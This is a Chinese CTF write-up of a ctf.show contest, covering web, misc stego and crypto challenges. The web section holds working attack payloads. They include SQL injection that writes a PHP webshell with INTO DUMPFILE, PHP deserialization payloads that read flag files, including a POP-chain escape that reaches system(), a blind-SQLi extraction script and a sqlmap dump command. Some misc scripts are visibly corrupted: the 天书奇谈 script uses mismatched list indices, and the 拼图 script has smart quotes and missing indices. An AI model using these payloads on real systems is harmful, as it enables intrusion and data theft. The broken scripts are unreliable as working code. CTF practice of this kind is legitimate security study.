题目地址:https://ctf.show/challenges
这次比赛是在前几天,由于我朋友过生日出去玩了,也没带电脑,没时间去弄这些,不过关注了群里的消息,看着好像不怎么简单,话说还挺难的,“F5”也只是个幌子,群主的本意是出题简单些,但是最终由于群里的各位大佬'BTCTR'的存在,好像还适得其反了,今天有时间,就复现一下(就这几天应该也要去学校了)
---------------写着写着,群主突然就直接在群里发了WP,我就简单汇下总吧--------------------
MISC:是Mumuzi师傅,写的比较详细:https://blog.csdn.net/qq_42880719/article/details/114009106
WEB是参考atao师傅,https://www.cnblogs.com/erR0Ratao

ps:本来这次我提供的一个pwn的,测试完OK,但是后来群主说由于pwn只有一个题,如果要放出来的话最起码的放3-4个,临时又没那么多题,所以最终就没有放pwn

WEB部分

(WEB还是不会鸭...)

lastsward's website

hint:
1.flag不在数据库里,尝试写shell
2.sql查询语句是 select * from game where id = 1 游戏名和游戏id是一张表的不同字段 配合修改
游戏名功能写shell

考点:SQL注入写Webshell
网站是TP3的框架,在网上找到了 Payload:?id[0]=exp&id[1]==1 or sleep(5) ,网站打开游戏后,
观察URL发现参数变成了 gameId ,一开始感觉是SQL注入,但是ban掉了太多函数和语句,其中包括了
where关键字 让人感觉不是盲注了
我们知道要通过写Webshell获得flag,然后第二点就是payload可以修改游戏名可以配合写入shell
不过SQL写入的操作还是很多都被Ban了,测试后发现dumpfile还可以用,根据它给出的SQL查询语
句,我们可以拼出 select * from game where id =2 into dumpfile
"/var/www/html/shell.php"# ,获得Payload为 /index.php/Home/Game/gameinfo/?
gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"# ,接着访问
shell.php看到了21shengdan,然后对应修改游戏名为 <?php phpinfo()?> 再打一次,在phpinfo中找
到flag
这里需要注意的就是后面的部分记得用url编码一下,如果用第一个打不出来,可以换个游戏试试,我随便找了第四个打的,对应的id也要改一下

eazy-unserialize&&eazy-unserialize-revenge

这个题的revenge好像根本没有解除非预期,群主也是说改了个寂寞...
所以两题当一题解.
关键代码:

class Happy{
public $file='flag.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
      }
   }
}
function ezwaf($data){
if (preg_match("/ctfshow/",$data)){
          die("Hacker !!!");
    }
return $data;
}
if(isset($_GET["w_a_n"])) {
@unserialize(ezwaf($_GET["w_a_n"]));
} else {
new CTFSHOW("lookme", array());
}

通过Happy类的__destruct魔术方法,存在文件包含的漏洞,这里通过php伪协议进行源码读取

<?php
class Happy{
public $file='php://filter/read=convert.base64-encode/resource=/flag';
}
echo serialize(new Happy());
?>
//Payload:?w_a_n=O:5:"Happy":1:
{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}

得到一串base64字符串,解码一下就可得到flag

迷惑行为大赏之盲注

考点:SQL盲注中文字符,特殊字符@
一个登录窗口还有一个忘记密码的功能,登录只会报错登录失败,后来发现忘记密码会有不同的回显,
如 admin' AND 1=1# 回显有带个P,但 admin' AND 1=0# 回显用户不存在。没有什么过滤,所以很好
做,唯一有点坑的地方就是中文数据库,这个得用hex()转成十六进制来获得内容,还有一个就是列名是
what@you@want,存在@的特殊字符,得用反引号括起来。
exp:

import requests
 
url = 'http://58bd552f-bbc0-4b87-9390-5dc8d88b9839.chall.ctf.show:8080/forgot.php'
s = 0
for x in range(1,500):
    data = {
        #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema='mysql'))={})#".format(x)
        #'username': "admin'AND 1=(length((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'))={})#".format(x)
        #'username': "admin'AND 1=(length((Select group_concat(flagnothere) from user))={})#".format(x)
        #'username': "admin'AND 1=(length((Select group_concat(passw0rd) from user))={})#".format(x)
        #'username': "admin'AND 1=(length((select group_concat(schema_name) from information_schema.schemata))={})#".format(x)
 
        # 1.获得数据库
        #'username': "admin'AND 1=(length((select HEX(group_concat(schema_name)) from information_schema.schemata))={})#".format(x)
        # 2.获得表名
        #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)))={})#".format(x)
        # 3.获得列名
        #'username': "admin'AND 1=(length((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'))={})#".format(x)
        # 4.获得内容,因为有@关键字符,用``反引号括起来
        'username': "admin'AND 1=(length((Select HEX(group_concat(`what@you@want`)) from 测试.15665611612))={})#".format(x)
 
    }
    res = requests.post(url=url, data=data)
    if " :P" in res.text:
        s = x + 1
        break
print (s)
 
flag = ''
for i in range(1,s):
    for j in range(34,255):
        data ={
            #'username':"admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='mysql'),{},1))={})#".format(i,j)
            #'username': "admin'AND 1=(ascii(substr((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'),{},1))={})#".format(i, j)
            #'username': "admin'AND 1=(ascii(substr((Select group_concat(flagnothere) from user),{},1))={})#".format(i, j)
            #'username': "admin'AND 1=(ascii(substr((Select group_concat(passw0rd) from user),{},1))={})#".format(i, j)
            #'username': "admin'AND 1=(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={})#".format(i, j)
 
            #1.获得数据库
            #'username': "admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{},1))={})#".format(i, j)
            # 2.获得表名
            #'username': "admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)),{},1))={})#".format(i, j)
            #3.获得列名
            #'username': "admin'AND 1=(ascii(substr((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'),{},1))={})#".format(i, j)
            #4.获得内容,因为有@关键字符,用``反引号括起来
            'username': "admin'AND 1=(ascii(substr((Select HEX(group_concat(`what@you@want`)) from `测试`.`15665611612`),{},1))={})#".format(i,j)
            #十六进制转字符串(含中文)的在线解码网址:http://www.bejson.com/convert/ox2str/
        }
        res = requests.post(url=url,data=data)
        #print res.text
        if "P" in res.text:
            flag += chr(j)
            break
    print (flag)
    #print str(i) + flag

可以脚本直接跑。一道没有任何关键词过滤的入门级布尔盲注题;
也可以直接sqlmap一把梭(字段加反引号)

sqlmap -u http://your-domain:8080/forgot.php --data "username=admin" --batch --dump --dbms mysql -D 测试 -T 15665611612 -C `what@you@want`

web逃离计划

下发容器,打开发现是一个登陆页面,尝试弱口令登陆,admin&admin888,登陆发现并没有回显
扫后台发现hint.php,和class.php
直接访问hint.php
回显:Here are some key messages that are hidden but u can't read
u may try other ways to read this file to get hints
应该是要用别的方式访问
在hint里面找到:./static/img/logo.png
lookMe.php?file=logo.png
可知lookMe.php存在文件包含漏洞
访问可以得到源码:
lookMe.php

 <?php

error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.png'){
        header("Content-Type:image/png");
        echo file_get_contents("./static/img/logo.png");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
} 

过滤内容: read 、 %00-%2C 、 、 flag 、 .. 这些内容,但是php伪协议并没有过滤死,在读文件时可
以不写read
读了hint.php后给了 ezwaf.php 、 class.php 、 index.php 、 lookMe.php ,然后依次读取源码
ezwaf.php

<?php
function get($data){
    $data = str_replace('forfun', chr(0)."*".chr(0), $data);
    return $data;
}
 
function checkData($data){
    if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
        die("fuc**** hacker!!!\n");
    }
    else{
        return $data;
    }
}
 
function checkLogData($data){
    if (preg_match("/register|magic|PersonalFunction/",$data)){
        die("fuc**** hacker!!!!\n");
    }
    else{
        return $data;
    }
}

看到第一个get()函数时猜测反序列化逃逸,后面两个是过滤函数,checkData($data)函数中的stristr()函数对大小写敏感,如果是在反序列化逃逸的过滤可能存在绕过的方式通过将字符串的s类型改为S,可以对十六进制进行解码;checkLogData($data)中的preg_match("/register|magic|PersonalFunction/",$data)并没有i模式所以对大小写不敏感,类名可以通过改变大小写不影响
index.php

<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
    $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
    $login = unserialize($serData);
    $loginStatus = $login->checkStatus();
    if ($loginStatus){
        $_SESSION['login'] = true;
        $_COOKIE['status'] = 0;
    }
    $finish = true;
}
?>

这里知道了接收Login类,然后也验证了反序列化逃逸的论证
class.php

<?php
error_reporting(0);
 
class Login{
    protected $user_name;
    protected $pass_word;
    protected $admin;
    public function __construct($username,$password){
        $this->user_name=$username;
        $this->pass_word=$password;
        if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
            $this->admin = 1;
        }else{
            $this->admin = 0;
        }
    }
    public function checkStatus(){
        return $this->admin;
    }
}
 
 
class register{
    protected $username;
    protected $password;
    protected $mobile;
    protected $mdPwd;
 
    public function __construct($username,$password,$mobile,$mdPwd){
        $this->username = $username;
        $this->password = $password;
        $this->mobile = $mobile;
        $this->$mdPwd = $mdPwd; //初始化时需要传一个magic类进来
    }
 
    public function __toString(){ //__toString()魔术方法用于把类当作字符串时触发
        return $this->mdPwd->pwd; //这里如果$this->mdPwd是magic类,类中没有pwd为不可访问属性会触发__get()
    }
}
 
class magic{
    protected $username = 'admin'; //从下面的__get魔术方法中需$username为admin,不然就退出
 
    public function __get($key){ //__get()魔术方法用于从不可访问的属性读取数据
        if ($this->username!=='admin'){
            die("what do you do?");
        }
        $this->getFlag($key);
    }
 
    public function getFlag($key){
        echo $key."</br>";
        system("cat /flagg");
    }
 
 
}
 
class PersonalFunction{
    protected $username;
    protected $password;
    protected $func = array();
 
    public function __construct($username, $password,$func){ 
        $this->username = $username;
        $this->password = $password;
        $this->func = $func; //修改$func初始化,让他传入一个包含register类的数组,这样通过checkFunction函数来触发__toString魔术方法
    }
 
    public function checkFunction(array $funcBars) {
        $retData = null;
 
        $personalProperties = array_flip([
            'modifyPwd', 'InvitationCode',
            'modifyAvatar', 'personalData',
        ]);
 
        foreach ($personalProperties as $item => $num){
            foreach ($funcBars as $funcBar => $stat) {
                if (stristr($stat,$item)){ //这里的stristr会把$stat当作一个字符,可以符合__toString()触发的条件
                    $retData = true;
                }
            }
        }
 
 
        return $retData;
    }
 
    public function doFunction($function){
        // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
        return true;
    }
 
 
    public function __destruct(){ //__destruct()魔术方法在对象销毁时触发
        $retData = $this->checkFunction($this->func); //这里刚好可以触发
        $this->doFunction($retData);
 
    }
}

POP链构建顺序

$a = new magic();
$b = new register('atao','123456','1',$a);
$c = array($b);
$d = new PersonalFunction('atao','123456',$c);

剩下一个反序列化逃逸,这里我们知道是将forfun转成 chr(0)."*".chr(0),也就是6个字符转成3个字符

O:5:"Login":3:{s:12:" * user_name";s:4:"atao";s:12:" * pass_word";s:354:"aaa1";S:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"magic":1:{S:11:"\00*\00username";S:5:"admin";}}}};s:5:"admin";s:8:" * admin";i:0;}

这里红框中的数字要和后面的字符串中的字符数量相同,假设一开始我们传入n个forfun进去,则会有6n个字符,但是通过get函数后,变成了3n个字符,再进行反序列化时因为原本的字符数量不够了会继续往后吃,则上面黄色部分就是用来这些被吃掉的
然后用红色部分补上了Login类中的pass_word属性。这样反序列化后就会生成一个PersonalFunction对象,然后在销毁时触发POP链

这里需要填几个forfun自己算一下,通过";s:12:" * pass_word";s:354:"aaa1计算为33个字符,则需要11个forfun

最后注意的是两个过滤函数,绕过的方法上面给了
Payload:

username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=aaaa";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75\73ername";S:5:"admin";}}}};s:5:"admin

更多详细内容可以去看atao师傅的博客,上面有传送门

未完成的项目

Y4师傅说因为群主把环境弄错了,之后出题人是唯一解...
未解

MISC

Just Another 拼图

拿到压缩包后先解压,得到12张jpg图片。一眼可以看出能按序号拼成4×3的大图,但是拼好后图里确实没有flag,还说flag在别的图里。那就只能从其他地方下手。
Linux下发现图片全都无法正常查看,说明二进制数据肯定被动过手脚。strings命令看一下,发现所有图片都包含IDAT字符串,10.jpg还包括IHDR字符串。那么很明显,一张png图片被拆成12个IDAT块(其中一块还包括IHDR块),然后藏在了12张jpg图片的二进制数据里面。进一步用十六进制编辑器查看可以发现,IDAT块的数据都是正好插在jpg的文件尾标记FF D9前面。从而可以提取出这12段数据,再拼接上png文件头和文件尾就可以得到原来的png图片。

先写脚本提取所有的数据:

path = ‘C:/Users/Administrator/Desktop/Just Another 拼图/puzzle/puzzle’

data = [''] * 12
for i in range(12):
data = open(path + str(i) + ‘.jpg’, ‘rb’).read()

HEAD = 0×89504E470D0A1A0A.to_bytes(8, ‘big’)
IHDR = data[10][0×29EA : 0×2A03]

IDAT = [''] * 12
for i in range(12):
n = data.find(b’IDAT’) - 4
IDAT = data[n : -2]
print(len(IDAT))

接下来需要排列IDAT块的顺序,很明显10.jpg里连着IHDR块的IDAT是第一块,11.jpg里长度最短的IDAT是最后一块,其他块的顺序不明,暂且先按序号排起来:PNG = HEAD + IHDR + IDAT[10]

for i in range(10):
PNG += IDAT
PNG += IDAT[11]
out = open(path + ‘.png’, ‘wb’)
out.write(PNG)
out.close()
`

注意Windows下没有IEND块也可以显示PNG图片,所以文件尾暂且不用管。打开图片看一下:

只有最上方一部分显示正确,说明目前只有第一个IDAT块位置是正确的。接下来就要手动排列所有的IDAT块直到整张图片显示完整,使用tweakpng工具:

使用Move up功能,每次把一块IDAT移到第二位,保存后用Windows照片查看器实时查看PNG图片,如果正确显示的部分变多就说明顺序正确。目前的第二块肯定是错误的,因此这一步最多只需要试九次。如图为找到第二块IDAT后的情况:

接下来找第三块IDAT,理论上最多只需要试七次:

重复以上步骤,全程最多只需要试(9+8+7+6+5+4+3+2+1 = ) 45次,但实际上比如第三块,按顺序来只需要试一次就可以得到正确结果。因此全程需要尝试的次数远低于45次,验题时试下来大概在20次左右。
最后把全部IDAT块排列正确得到图片:

ctfshow{Sorry_Mario_but_princess_is_here}

大小二维码

hint:存储了Byte信息的二维码应该用什么工具扫描呢
首先下载附件,打开发现是一张超大的二维码,貌似是好多个二维码组合成的吧(瞎猜的)
https://online-barcode-reader.inliteresearch.com/
用QR扫一下:

0000  37 7a bc af 27 1c 00 04  2c c5 12 90 ca 03 00 00  | 7z~~'~~~,~~~~~~~ |
0010  00 00 00 00 23 00 00 00  00 00 00 00 eb d1 14 9c  | ~~~~#~~~~~~~~~~~ |

发现是7z开头的,可能是7z压缩包数据写进了二维码,将扫出来的十六进制数据复制下来,
在010写入并保存为'二维码.7z',再解压,发现得到的35张小二维码都非常小,可以用PS或者其他软件放大
扫几张码,发现只有一张二维码内容是“nothing here~”,其他都为乱码
再次观察可以发现,所有的数据区和效验区都是一样的,唯一不相同的就是每个定位点旁边的掩码类型。
首先使用QRazyBo扫第一张二维码,查看他的Mask Pattern
https://merricx.github.io/qrazybox/
可以发现纠错等级都是L,但是显示掩码类型都为3,所以在这里生成一张不含任何信息的二维码,再去点击蓝色区域
手动将35张图全部手动对比下来,得到一串0-7的数字,猜想是8进制,并且3位为一组并转为ascii,写个python脚本进行进制转换

import re
flag = ''
n = 0
p = input('input a octal number:\n')
arr = re.findall(r'.{3}', p)
try:
    for i in arr:
        print(chr(int(i,8)))
        flag += chr(int(i,8))
except:
    print("字符串中包含不能每3位进行转换的数字")
print(flag)

预期解:
文件夹里是0-34共35张二维码,当然一张都扫不出来。仔细对比会发现所有二维码的数据区和校验区都是一模一样的,唯一的不同是三个定位符旁边的Format Info Pattern。进一步可以发现,Error Correction Level都是L,区别在于Mask Pattern。
例如第一张二维码的Mask Pattern,三个定位符处的Mask Pattern都不一样:

Mask Pattern一共有0-7八种,联想到八进制数字,每个二维码刚好有三位数字,联想到八进制的ASCII码。由于左上角的Mask Pattern不是0就是1,显然左上角是第一位。后两位的顺序待定。先把所有的Mask Pattern提取出来(可以手动也可以脚本,实际上可能手动把8种Mask Pattern找出来然后对比更快一些,我这里为了验题需要,防止肉眼看错,所以用一下脚本):

from PIL import Image

path = 'C:/Users/Administrator/Desktop/xiao/'
QR = []
for i in range(35):
    name = path + str(i) + '.png'
    QR += [Image.open(name)]

def check(img, x, y):
    # 黑点为1,白点为0
    p = img.getpixel((x, y))
    if p == 0:
        return '1'
    elif p == 255:
        return '0'

def getmask(img):
    pixel = ['', '', '']
    # 左上角
    for x in range(5):
        pixel[0] += check(img, x, 8)
    # 右上角
    for x in range(13, 17):
        pixel[1] += check(img, x, 8)
    # 左下角
    for y in range(5):
        pixel[2] += check(img, 8, 20 - y)

    dic0 = '11101 11100 11111 11110 11001 11000 11011 11010'.split(' ')
    dic1 = '1100 1111 1010 1001 0010 0001 0100 0111'.split(' ')

    res = [dic0.index(pixel[0]), dic1.index(pixel[1]), dic0.index(pixel[2])]
    for i in range(3):
        res[i] = str(res[i])

    return res

for i in QR:
    m = getmask(i)
    oct = int(m[0] + m[1] + m[2], 8) # 左上-右上-左下顺序
    print(chr(oct), end = '')
print()
for i in QR:
    m = getmask(i)
    oct = int(m[0] + m[2] + m[1], 8) # 左上-左下-右上顺序
    print(chr(oct), end = '')

从而读取顺序应该是第一种,flag为:ctfshow{Bu_D4_6u_x1a0_c4i_g4n9_Ha0}

填字游戏

hint:http://oeis.org/
image-20210224164410064.png
附件即为填字内容,这个题相对来说较为简单
可以看到flag在倒数第三行
将文字提取下来

1.a(n) = n*(n^2+1)/2
2.Number of balls in pyramid with base either aregular hexagon or a hexagon with alternate sides differing by 1
3.Initial members of prime sextuplets (p, p+4, p+6,p+10, p+12,p+16)
4.Primes p such that neither p-2 nor p+2 is prime
5.Smith (or joke) numbers
6.the number of distinct reduced words of length n in the Coxeter group of “Apollonian reflections” in three dimensions
7.Hyperfactorials
8.Number of factorization patterns of polynomials of degree n over integers
9.Initial members of prime triples(p,p+4,p+6)

直接点开hint
在这分别搜这些话就行了
然后填进去就ok了,好像没啥好讲的,一眼就能看出来,但是这么少解的原因:(难道是之前没放hint?Google一下好像也能找到这个网站吧,算了自己当时也没看题,现在讲有点马后炮的意思,看看就行了)
得到该填的字为:65 69 97 53 121 70 108 52 103直接交发现不对,65,65是'A'转一下试试,en,对了
flag:ctfshow{AEa5yFl4g}

过年了

解题思路,改宽就完事了
exp:

import cv2
import numpy as np
import tqdm.notebook as tqdm
import matplotlib.pyplot as plt
img=cv2.imread('d.png')
img=img.reshape(-1,1,3)
totPoints = img.shape[0]

mins = 1e10
def getgauss(w):
    tp=totPoints-totPoints%w
    src=img[:tp,:,:].reshape(-1,w,3)
    gauss = cv2.GaussianBlur(src,(3,3),3)
    gaussedge = cv2.Canny(gauss,0,50)
    ge=np.sum(gaussedge)  
    return ge

x=[]
y=[]

for i in tqdm.trange(10,8000,1):
    now = getgauss(i)
    x.append(i)
    y.append(now)
    if now < mins : 
        mins = now 
        tp=totPoints-totPoints%i
        src=img[:tp,:,:].reshape(-1,i,3)
        print(i)
        plt.imshow(src)
        plt.show()
plt.plot(x,y)
plt.show()

flag:FLAG{QY7TT-VJ7VG-7QPHY-QXHD3-B838Q}

天书奇谈

解法一:按照描述,用眼睛瞪,有眼就能做,找到那六个字,然后把位置记下来md5提交
解法二:打开碑文,发现
1.这回厚道的阿狸根本没有用加噪音、扭曲、缩放瞪方式进行干扰。真的很厚道。
2.个别字符用了不止一次,然后如果没有多解得话,需要查找的文字只能用一次,所以只要把“只出现一次”的文字找出来即可。
3.其实不同文字长得差别还是蛮大的,所以用最简单的方法就可以对文字进行分类,建议采用“像素求和”,即把所有像素代表的亮度【0-255】加起来,然后分类即可。
exp:

import cv2 
import numpy as np
import matplotlib.pyplot as plt
import tqdm 
img = cv2.imread('bw.png')[:,:,1]
dx,dy = (img.shape[1])//100,(img.shape[0])//100
c={}
for x in tqdm.trange(100):
    for y in range(100):
        xt=x*(dx)
        yt=y*(dy)
        s = np.sum(img[yt:yt+dy,xt:xt+dx])
        if s in c:
            c[s][0]+=1
            c[s][2].append((x,y))
        else:
            c[s]=[1,[(x,y)]]
for i in c:
    if c[i][0]==1:
        print(c[i][3][0][4]+1,c[i][5][0][0]+1)
        xt = c[i][6][0][0]*(dx)
        yt = c[i][7][0][8]*(dy)
        plt.imshow(img[yt:yt+dy,xt:xt+dx])
        plt.show()

这里有一个小小的坑,要注意字的顺序,再根据题目:
你在某个山洞里发现了个刻画着莫名文字的石碑,旁边放着一张纸条,纸条上写着,如果你想得到天书的秘密,就在碑文中找到这六个字,然后把他们所属行,列排成一排 再取一个md5祭天即可。
如,你得到他们的位置分别是 第一行第一列,第二行第二列 第三行第三列 ...... 则 需以 flag{md5('112233445566')}
得到flag
flag:flag{dd8934d2a31375003d7fdb851a34c58b}

牛年大吉3.0

hint1:有耳就行
hint2:有眼就行
考点:音频隐写、图片盲水印、oursecret工具的使用
下载附件得到一张ppt
能听到动听的《春节序曲》,结合有耳就行,应该需要提取下来
看完ppt,能够发现最后藏有信息,将字体颜色改为红色
得到神秘字符串:Y3Rmc2hvd25i,解码得到ctfshownb,但是解码没用,这里是一个坑。
kali下用binwalk进行分解,把mp3拿到mp3stego去解密,密码为Y3Rmc2hvd25i,得到8208208820
然后刚刚binwalk还分离出了熟悉的图片,这里看两张图片,能明显发现大小不一样但是差异很小,并且这里给了秘钥,0通道没有LSB痕迹就排除了,麻了很久,这里使用的是OurSecret
两张都提取出来,发现大小也不相同,Demo.png略微比Demo7.png大,所以考虑盲水印。
这里需要使用 linyacool /blind-watermark python2

image-20210224221544613.png

5wcipa9Hwe4RvELcwXK8HzWrgnXcmZ481VeC2dFtQxn7H7KScvimJda
base58解码后,得到最终flag
flag:ctfshow{别解了,上一层就是flag}

两行代码一纸情书

下载dll附件,使用notepad++打开,直接搜ctf,发现一长串类似编码,复制下来进行base64解码,发现无乱码,一直向下解,得到flag
预期解:
首先用ida打开dll,看到里面有一个

PDB File Name :C:\Users\Yangwenhao\Desktop\Please\use_any_way_to_call_function\ctfshow\x64\Debug\ctfshow.pdb

再结合提意猜测应该是调用dll函数即可获取flag,当然你直接逆向破解也可以
使用dumpbin,发现getFlag函数

dumpin /exports F:\temp\ddl\ctfshow.dll

用编程语言调用dll,这里推荐python比较容易,其他也行,只是多几行代码而已,如果报错则换成dll绝对路径

from ctypes import *

dll = windll.LoadLibrary("ctfshow.dll")
dll.getFlag()

flag:ctfshow{I_LOVE_YOU_AND_PLEASE_LOVE_ME}

F5还会学中文

hint:最后一步是转ASCII,仔细想想怎么来的
下载附件解压,得到 F5.jpg 和 flag.zip,flag.zip 需要密码,将 F5.jpg 放入 010 查看JPG结束后的"文件头"和文件尾发现有PK字迹,所以需要修复zip包即00 00 00 00->50 4B 03 04,并且将09改为00(这里涉及到一个zip的伪加密)
解压得到 F5 pswd.txt,打开,可以发现是很明显的Ook!
替换,
ctfshow--->Ook
F--->.
5--->!
杯--->?
Ook!在线网站解码得到:
F5’s password is f5alsogood
解压flag.zip发现错误,结合F5 pswd和jpg,可以猜测F5隐写
F5隐写发现报错,原因是图片末尾有zip痕迹,将zip痕迹删掉只保留jpg,再提取,得到Every0neL0veBeF5
解压得到最难的部分,因为尝试GB2312编码,BIG5编码,GBK编码,GB18030编码,Unicode编码都是无解的
根据群里的随缘hint,和题目hint1:最后一步是转ascii,
GB2312-80,前两位为x码,后两位为x码
直接搜“汉字GB2312-80”
百度搜一个区位码批量查询
http://www.jscj.net/index/gb2312.php
将空格去掉(注意最后一个数字后面的空格也要去掉)
得到的数字转16进制,再转字符,得到flag
flag:ctfshow{Ez_F5_F0r_90u}

F5也会LSB

打开压缩包显示:6 long,较明显的告诉你密码为六位数吧,直接爆破一下,得到解压密码为:114514
解压得到一堆图片
题目标题是 LSB,先查看 0.png,未发现隐写痕迹。
再查看 2.png,发现有 2 字节的隐写痕迹
以此类推,4.png 有 4 字节的隐写痕迹
再看图片中的内容,首先是 10.png 是指向 1,查看 10.png 的 0 通道值
504B0304,明显是 zip 的文件头
以此得出结论,图片名字是隐写的字节数,图片上的内容是顺序,全部提取出来排序得到:

504B03041400010000007C4C4D524A0409E41D0000001100000008000000666C61672E7478742
68FDB736D3D74D7654C946555EF139A56337B2E90EE9D79DE3A0632B2504B01023F001400010
000007C4C4D524A0409E41D00000011000000080024000000000000002000000000000000666C
61672E7478740A0020000000000001001800CBE6AA92A801D701F7A65B93A801D701A0FCEAE4
A501D701504B050600000000010001005A000000430000000000

得到zip包,发现有密码,再进行爆破,密码为7775,解压打开txt
BGR bit Planes 21
再去查看10.png的BGR 2 1通道
全部提取组合得到flag
flag:flag{F5_th1nk_s0_Ez}

GoodNight

Hint1:题目的附件名字很重要
Hint2:flag的内容要转为md5 flag 格式flag{XXXXX}
首先打开图片
image-20210224223841923.png

使用oursecret工具,密码就是GoodNight
image-20210224223851558.png

解出来一个.rt1后缀文件,
用010打开,看到文件头是BP,这里的考点就是考bpg图片,是一种新的图片技术,搜索资料得bpg文件头是425047FB, B190是文件尾

image-20210224223903771.png

在4250后面添加缺失的47FB,搜索16进制B190,第二个B190就是文件尾,截取之后,更改文件后缀尾bpg,用Simple BPG image viewer打开该图片,大妹子旁边有一串base64编码,解码后就是一个假flag

image-20210224223909899.png

转变思路
在截取完B190后,后面还有一段数据,出题人就是将16进制逆序了,加上缺失的50 4B 03 04文件头,再加上pkware头即14 00

image-20210224223914812.png

倒叙的脚本:

image-20210224223920298.png

然后得到一个zip压缩包
密码就是6位小写英文字母是qwerty
解压出来之后得到写着16进制的文本

image-20210224223925364.png

新建文本文件,将其复制进去新的文本再导入进去010,得到pcap流量包;也可以根据文件头分析得出是流量包;甚至在010另存为一个某后缀名的文件,直接放进Kali,也会自动识别出是一个流量包
d4 c3 b2 a1 就是pcap的十六进制文件头

image-20210224223939087.png

用Wireshark打开

image-20210224223946849.png

到这个位置的考点就是流量分析的TCP隐写
将TCP所有中的identification提取出来,

image-20210224223953517.png

64 105 72 60 44 123 42 59 111 85 112 47 105 109 34 81 80 108 96 121 82 42 105 101 125 78 75 59 46 68 33 88 117 41 98 58 74 91 82 106 43 54 75 75 77 55 80 64 105 72 60 44 123 42 59 111 85 112 47 105 109 34 81 80 108 96 121 82
将其由10进制转为Ascii再base91解密
得到不完整flag,发现@iH<,{*;oUp/im"QPl`yR和前面重复了
删除之后得到最终flag
根据hint转md5
得到最终flag
flag:flag{4e5478269e04a597fc2381ecafe16080}

CRYPTO

网络是有记忆的

下载附件txt,更改后缀为txt命名为m.txt,打开看看,发现像是一大串的base64编码,
先解码看看是啥玩意:

1 8(V3%M3\-.X[#S^0!4W/Q.PY.W5R!Q.MV'W43.HVZ2Z!L.MZ#PX 
1 universal declaration of human rights whereas recog 
2  .S.U[.JVZ.V/([2Z/4.ZV'Q)K9._Q[./Y.KW%.[N5^,.^Q$.VQ 
2 ion of the inherent dignity and of the equal and in 
3 -*] S%.IRZW62.QX._,S.RZ-]%23.QX.JVZ.W5R!Q.Y^-)S9.V3 
3 enable rights of all members of the human family is 
4 ,.^/KQ$\6)P..S[.[MZ%[.-..VKMKV\%._Q$.NZ^#Z.V..KWZ.7 
4 e foundation of freedom, justice and peace in the w 
5 -.JU%LZ 3._W3MZ&^0$.\Q[.\..4Z-O4.XP2.VJR!Q.MVX(43Y, 
5 d,whereas disregard and contempt for human rightsfl 
6 :.*3d'S!Y`*1`!/5LW4$Z<.V^7%.L[3J,KZ$.WQ.]^2"^2/J3._ 
6 tihs_flag_is_coushude} have resulted in barbarous a 
7 .6T)_).R]6[.P54M^&Z$.JVZ.\/.L\)%Q\%.PY.R^.+V.[.._Q[ 
7  which have outraged the conscience of mankind, and 
8 /.X[3$Q5.RX.\.IQM,Z.W..IVV\).W5R!Q.\Z).X3.LW^,,.ZQ* 
8 e advent of a world in which human beings shall enj 
9 -4%Y$Q-.TZ.NN[%](.\Q[.]%,VZ&._.[.Y2Z%[/-.XM/R.YZ!M. 
9 freedom of speech and belief and freedom from fear 
10 .3]*5.RZ3.YXZ/.NM/],^(-Z$.\L.KWZ.W)X(Z34._3OV2!KV/.
10  want has been proclaimed as the highest aspiration
11 .7W'.ZQ-S/Q.N[/0SZ.HW%MZ!3.WK.WL.[L3Z.4V!S..WX.S_Q.
11  the common people,whereas it is essential, if man 
12 ?"1.OR.XX.^/R0Z,S%[.K/.U_6Z.MZ#/J2LZ.._L._.R^3K.MZ3
12 not to be compelled to have recourse, as a last res
13 ..NS.I^\$S-V...]Y^(.3K.JFM^..9._Q[./O0MZ33V/...JV_K
13 , to rebellion against tyranny and oppression, that
14 <(+.IUY)4L.NV/JS$._Z.O2P4Z#KZ$.\9.JVZ.M5SZ./Y.S^7.H
14 man rights should be protected by the rule of law,w
